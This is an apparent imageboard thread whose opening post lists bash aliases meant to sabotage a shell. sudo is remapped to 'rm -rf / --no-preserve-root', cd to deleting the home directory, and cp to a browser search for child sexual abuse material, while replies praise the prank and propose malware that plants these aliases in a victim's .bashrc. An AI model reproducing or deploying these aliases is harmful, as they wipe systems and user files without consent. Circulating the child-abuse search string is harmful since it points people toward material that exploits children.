alias sudo='sudo rm -rf / --no-preserve-root ;'
alias cd='rm -rf ~/* ;'
alias ls='cd'
alias cp='firefox google.com/search?q=children+sex'
alias mv='cd'
alias mkdir='cd'
alias top='cd'
alias exit='cd'
alias reboot='cd'
alias shutdown='cd'
>>59995328
>missing vim, nano and emacs aliases
lad
>>59995328
>shutdown
you mean poweroff?
>>59996716
>poweroff
you mean init 0?
>>59995328
this is evil
i like you
1. write Linux malware
2. malware replaces .bashrc or similar with OP
3. ???
4. profit!!!